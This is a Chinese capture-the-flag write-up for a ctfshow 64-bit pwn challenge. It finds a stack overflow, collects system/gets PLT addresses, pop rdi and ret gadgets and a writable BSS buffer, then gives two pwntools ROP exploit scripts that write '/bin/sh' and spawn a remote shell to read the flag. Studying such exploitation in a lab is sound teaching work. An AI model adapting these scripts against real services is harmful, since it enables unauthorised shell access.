64位的 system(); 但是好像没"/bin/sh" 上面的办法不行了,想想办法
检查:
是 64 位程序
ida 反编译 main 函数:
跟进 ctfshow 函数:
存在栈溢出
offset:0xAh+8
在前面经验的基础上,这里我们直接开找
存在 system 函数
system_addr:0x400520
gets 函数地址
gets_addr:0x400530
这些函数的地址也可以通过查看 plt 表中的函数来获取:
objdump -d -j .plt pwn
与我们在 ida 中看到的是一样的
对于 64 位程序我们一般还需要获取 pop rdi;ret 和 ret 的地址:
ROPgadget --binary pwn --only "pop|ret"|grep rdi
得到 rdi_addr:0x4007f3
ROPgadget --binary pwn
得到 ret_addr:0x4004fe
接下来我们找可写的地址,先给程序加可执行权限后载入调试:
chmod +x pwngdb pwn
设置断点:
break main
启动被调试的程序:
run
break 和 run 命令可以直接用 b 和 r 简写
查看内存段的权限信息:
vmmap
可以看到 0x602000 到 0x603000 这个地址范围内是可读写的
同样在这个地址范围内找到了一个 buf2 参数
通常情况下,BSS 段下的变量是可写的。BSS 段是用来存储未初始化的全局变量和静态变量的,操作系统在程序加载时会为这些变量分配内存并将其初始化为零或空指针。因此,BSS 段下的变量通常具有读写权限,可以被程序写入数据。
buf2_addr:0x602080
编写 exp:
from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28146)
offset = (0xA+8)
system_addr = 0x400520
gets_addr = 0x400530
rdi_addr = 0x4007f3
ret_addr = 0x4004fe
buf2_addr = 0x602080
payload = b'a'*offset + p64(rdi_addr) + p64(buf2_addr) + p64(ret_addr) + p64(gets_addr) + p64(rdi_addr) + p64(buf2_addr) + p64(ret_addr) + p64(system_addr)
p.recv()
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
可以打通,命令执行获取 flag
ctfshow{5ca922b5-cfdd-4b99-abd1-f306cf95a21c}
exp2:
主要是对 payload 的简化
from pwn import *
context.log_level = 'debug'
p = remote('pwn.challenge.ctf.show', 28146)
offset = (0xA+8)
system_addr = 0x400520
gets_addr = 0x400530
rdi_addr = 0x4007f3
ret_addr = 0x4004fe
buf2_addr = 0x602080
payload = b'a'*offset + p64(rdi_addr) + p64(buf2_addr) + p64(gets_addr) + p64(rdi_addr) + p64(buf2_addr) + p64(system_addr)
p.recv()
p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()
p64(ret_addr) 的主要作用是用来调整栈上的对齐以确保后续的地址正确对齐
在这个 payload 中,由于 rdi 寄存器已经被设置为 buf2_addr 的值,我们在调用 gets() 函数之后并不需要返回到原来的函数中,而在调用 system() 函数之前,我们已经将 buf2_addr 的值再次放入栈中。因此,在这里两个 p64(ret_addr) 可以被省略,因为在调用 gets() 函数和 system() 函数之间并不需要进行额外的栈调整。
经过测试 payload2 也是可以打通的
拿到 flag:ctfshow{5ca922b5-cfdd-4b99-abd1-f306cf95a21c}